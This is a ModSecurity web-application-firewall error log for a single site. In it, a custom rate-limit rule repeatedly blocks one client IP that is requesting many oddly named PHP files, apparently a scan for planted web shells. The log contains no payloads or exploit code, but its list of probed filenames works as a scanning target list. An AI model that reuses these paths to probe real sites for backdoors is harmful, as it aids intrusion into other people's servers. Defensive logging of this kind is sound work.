[Tue Mar 24 23:44:40.055660 2026] [:error] [pid 3031:tid 3092] [client 4.223.157.92:4034] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acKxaKJBKytnG47nuiZHiwAAAFA"]
[Tue Mar 24 23:44:40.591380 2026] [:error] [pid 48128:tid 48175] [client 4.223.157.92:7994] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acKxaMvR4LIMFLbM5VlLOwAAAZY"]
[Tue Mar 24 23:44:41.140548 2026] [:error] [pid 38767:tid 38776] [client 4.223.157.92:4053] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acKxafwkUqN4GJAI5oWDtQAAAQY"]
[Tue Mar 24 23:44:41.672100 2026] [:error] [pid 48219:tid 48295] [client 4.223.157.92:7959] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acKxaShf3b4R_lAIyv-paQAAAg4"]
[Tue Mar 24 23:44:42.200531 2026] [:error] [pid 48219:tid 48302] [client 4.223.157.92:4063] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acKxaihf3b4R_lAIyv-pawAAAhU"]
[Tue Mar 24 23:44:42.738845 2026] [:error] [pid 38767:tid 38772] [client 4.223.157.92:8051] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acKxavwkUqN4GJAI5oWDvQAAAQI"]
[Tue Mar 24 23:44:43.272148 2026] [:error] [pid 38767:tid 38794] [client 4.223.157.92:3993] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acKxa_wkUqN4GJAI5oWDxQAAARg"]
[Tue Mar 24 23:44:43.809152 2026] [:error] [pid 38767:tid 38788] [client 4.223.157.92:3988] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acKxa_wkUqN4GJAI5oWDzAAAARI"]
[Tue Mar 24 23:44:44.461249 2026] [:error] [pid 38767:tid 38771] [client 4.223.157.92:4089] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acKxbPwkUqN4GJAI5oWD2AAAAQE"]
[Tue Mar 24 23:44:45.587898 2026] [:error] [pid 38767:tid 38788] [client 4.223.157.92:4083] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acKxbfwkUqN4GJAI5oWD5wAAARI"]
[Tue Mar 24 23:44:46.183373 2026] [:error] [pid 48219:tid 48303] [client 4.223.157.92:3998] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acKxbihf3b4R_lAIyv-pcQAAAhY"]
[Tue Mar 24 23:44:46.711594 2026] [:error] [pid 3137:tid 3142] [client 4.223.157.92:4094] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "acKxbpdZesutm6dfYM90jwAAAMM"]
[Tue Mar 24 23:44:47.270119 2026] [:error] [pid 3031:tid 3100] [client 4.223.157.92:4039] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "acKxb6JBKytnG47nuiZHjwAAAFg"]
[Tue Mar 24 23:44:47.797183 2026] [:error] [pid 38767:tid 38772] [client 4.223.157.92:7937] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "acKxb_wkUqN4GJAI5oWD-QAAAQI"]
[Tue Mar 24 23:44:48.369357 2026] [:error] [pid 38767:tid 38773] [client 4.223.157.92:8008] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "acKxcPwkUqN4GJAI5oWD_wAAAQM"]
[Tue Mar 24 23:44:48.900503 2026] [:error] [pid 38767:tid 38794] [client 4.223.157.92:7971] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "acKxcPwkUqN4GJAI5oWEBQAAARg"]
[Tue Mar 24 23:44:56.534294 2026] [:error] [pid 3137:tid 3160] [client 4.223.157.92:3976] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acKxeJdZesutm6dfYM90ogAAANU"]
[Tue Mar 24 23:44:57.066293 2026] [:error] [pid 48128:tid 48161] [client 4.223.157.92:4075] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acKxecvR4LIMFLbM5VlLPwAAAYk"]
[Tue Mar 24 23:44:57.703587 2026] [:error] [pid 48128:tid 48154] [client 4.223.157.92:7978] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acKxecvR4LIMFLbM5VlLQAAAAYU"]
[Tue Mar 24 23:44:58.249969 2026] [:error] [pid 3137:tid 3141] [client 4.223.157.92:3909] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acKxepdZesutm6dfYM90rwAAAMI"]
[Tue Mar 24 23:44:58.821187 2026] [:error] [pid 3137:tid 3141] [client 4.223.157.92:3989] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "acKxepdZesutm6dfYM90vgAAAMI"]
[Tue Mar 24 23:45:00.439329 2026] [:error] [pid 64198:tid 64224] [client 4.223.157.92:4024] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "acKxfHVzJqf6OS_oSZ32UwAAAVg"]
[Tue Mar 24 23:45:00.976733 2026] [:error] [pid 64198:tid 64215] [client 4.223.157.92:7983] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "acKxfHVzJqf6OS_oSZ32WAAAAU8"]
[Tue Mar 24 23:45:02.522399 2026] [:error] [pid 48219:tid 48300] [client 4.223.157.92:4055] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hots.php"] [unique_id "acKxfihf3b4R_lAIyv-pgQAAAhM"]
[Tue Mar 24 23:45:03.051893 2026] [:error] [pid 48214:tid 48253] [client 4.223.157.92:3910] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "acKxf7eshLWZ3uUDHKmMpwAAAcE"]
[Tue Mar 24 23:45:03.584513 2026] [:error] [pid 38767:tid 38790] [client 4.223.157.92:4059] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "acKxf_wkUqN4GJAI5oWEYgAAARQ"]
[Tue Mar 24 23:45:04.155339 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:7954] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "acKxgJdZesutm6dfYM90yQAAAM4"]
[Tue Mar 24 23:45:04.760672 2026] [:error] [pid 3137:tid 3139] [client 4.223.157.92:3911] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "acKxgJdZesutm6dfYM900QAAAMA"]
[Tue Mar 24 23:45:05.314063 2026] [:error] [pid 3030:tid 3064] [client 4.223.157.92:4090] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acKxgQyOuILyynfcqfl0JQAAAA8"]
[Tue Mar 24 23:45:05.864325 2026] [:error] [pid 64198:tid 64213] [client 4.223.157.92:3938] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acKxgXVzJqf6OS_oSZ32YQAAAU0"]
[Tue Mar 24 23:45:07.000899 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:4066] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acKxgpdZesutm6dfYM905AAAANM"]
[Tue Mar 24 23:45:07.559000 2026] [:error] [pid 3137:tid 3155] [client 4.223.157.92:4081] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acKxg5dZesutm6dfYM905wAAANA"]
[Tue Mar 24 23:45:08.098518 2026] [:error] [pid 3137:tid 3143] [client 4.223.157.92:8016] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acKxhJdZesutm6dfYM906gAAAMQ"]
[Tue Mar 24 23:45:08.646485 2026] [:error] [pid 3137:tid 3159] [client 4.223.157.92:4077] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acKxhJdZesutm6dfYM908gAAANQ"]
[Tue Mar 24 23:45:09.175114 2026] [:error] [pid 3137:tid 3146] [client 4.223.157.92:8062] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acKxhZdZesutm6dfYM909gAAAMc"]
[Tue Mar 24 23:45:09.718953 2026] [:error] [pid 3137:tid 3143] [client 4.223.157.92:3983] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acKxhZdZesutm6dfYM90-wAAAMQ"]
[Tue Mar 24 23:45:10.263787 2026] [:error] [pid 38767:tid 38777] [client 4.223.157.92:3920] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acKxhvwkUqN4GJAI5oWEcgAAAQc"]
[Tue Mar 24 23:45:11.424897 2026] [:error] [pid 3031:tid 3096] [client 4.223.157.92:7991] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acKxh6JBKytnG47nuiZHlgAAAFQ"]
[Tue Mar 24 23:45:11.954543 2026] [:error] [pid 3137:tid 3148] [client 4.223.157.92:4032] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acKxh5dZesutm6dfYM91AQAAAMk"]
[Tue Mar 24 23:45:12.490970 2026] [:error] [pid 64198:tid 64220] [client 4.223.157.92:4030] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acKxiHVzJqf6OS_oSZ32bgAAAVQ"]
[Tue Mar 24 23:45:13.044836 2026] [:error] [pid 48128:tid 48149] [client 4.223.157.92:8018] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acKxicvR4LIMFLbM5VlLSQAAAYA"]
[Tue Mar 24 23:45:13.599051 2026] [:error] [pid 3032:tid 3110] [client 4.223.157.92:3907] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acKxiSa_-JXXD03-JNxvVQAAAIc"]
[Tue Mar 24 23:45:14.127808 2026] [:error] [pid 48214:tid 48268] [client 4.223.157.92:7972] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acKxireshLWZ3uUDHKmMsQAAAdA"]
[Tue Mar 24 23:45:15.717635 2026] [:error] [pid 48219:tid 48305] [client 4.223.157.92:7984] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acKxiyhf3b4R_lAIyv-pjAAAAhg"]
[Tue Mar 24 23:45:16.262419 2026] [:error] [pid 38767:tid 38785] [client 4.223.157.92:3978] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "acKxjPwkUqN4GJAI5oWEjgAAAQ8"]
[Tue Mar 24 23:45:18.852187 2026] [:error] [pid 48214:tid 48267] [client 4.223.157.92:4016] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "acKxjreshLWZ3uUDHKmMvAAAAc8"]
[Tue Mar 24 23:45:19.411767 2026] [:error] [pid 3032:tid 3112] [client 4.223.157.92:3937] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "acKxjya_-JXXD03-JNxvXQAAAIk"]
[Tue Mar 24 23:45:19.996434 2026] [:error] [pid 48219:tid 48284] [client 4.223.157.92:4025] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/file.php"] [unique_id "acKxjyhf3b4R_lAIyv-pjwAAAgM"]
[Tue Mar 24 23:45:20.523758 2026] [:error] [pid 3032:tid 3108] [client 4.223.157.92:4041] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "acKxkCa_-JXXD03-JNxvXgAAAIU"]
[Tue Mar 24 23:45:34.719777 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:3934] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "acKxnpdZesutm6dfYM91PQAAAM4"]
[Tue Mar 24 23:45:35.287401 2026] [:error] [pid 38767:tid 38789] [client 4.223.157.92:4000] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "acKxn_wkUqN4GJAI5oWE2wAAARM"]
[Tue Mar 24 23:45:35.816401 2026] [:error] [pid 3137:tid 3161] [client 4.223.157.92:7986] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "acKxn5dZesutm6dfYM91QQAAANY"]
[Tue Mar 24 23:45:36.364080 2026] [:error] [pid 38767:tid 38771] [client 4.223.157.92:4044] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "acKxoPwkUqN4GJAI5oWE3wAAAQE"]
[Tue Mar 24 23:45:36.921393 2026] [:error] [pid 38767:tid 38776] [client 4.223.157.92:8038] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "acKxoPwkUqN4GJAI5oWE5gAAAQY"]
[Tue Mar 24 23:45:37.458320 2026] [:error] [pid 38767:tid 38774] [client 4.223.157.92:4070] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "acKxofwkUqN4GJAI5oWE6gAAAQQ"]
[Tue Mar 24 23:45:37.998486 2026] [:error] [pid 38767:tid 38794] [client 4.223.157.92:4014] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rzki.php"] [unique_id "acKxofwkUqN4GJAI5oWE7gAAARg"]
